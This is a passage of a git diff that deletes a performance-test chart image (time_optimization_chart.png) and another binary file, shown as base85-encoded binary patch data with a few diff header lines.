z1?{Ny)Y0lU$gUM_Jbx5qoI9miVa<+gFCyAJ+7cd3qyljG^udYy71?s)HB-pvRHP5m04kSCv& z*EXB`L;H;Gw?w;z)E~|A?L1vrJw+2SyatmuNikO&3Db@u8?eq*u_RgQEVs}#VCiiY zwEbHB#z-0I=JqS%D#{`McN<&d;NP_;yxe06xV$X-*3-RpcavFGbnk!}MMBitXR)*v z%Lyali3x58r`()`r)x#{;X;onWhfIK;-J5crx#KqXr8G;Idl%7*Nm$4$#nfleO0@{xbFy~|t8HLtgW1w#ohL6$xah60p1I*X z3MWZUHZaYaNZdA=nAqM^UQDrO<8&E=^(%MBZZWR&iSx1D&~lx$=iz3G-Q*BapG`va zqe8ho2H98vmeoPWnUX$&Ww!c3q;#{#S7m*_$7oFM}L*mzOZW0F~vC{7%Mx;z7XuNcR{19Z`K@<3+

E#^`lFkA-e6%z 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 diff --git a/tools/perftest/results/param_tests/time_optimization_chart.png b/tools/perftest/results/param_tests/time_optimization_chart.png deleted file mode 100644 index 889fcdf41ee16ccf558017659889d0fbdb803a27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 63228 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 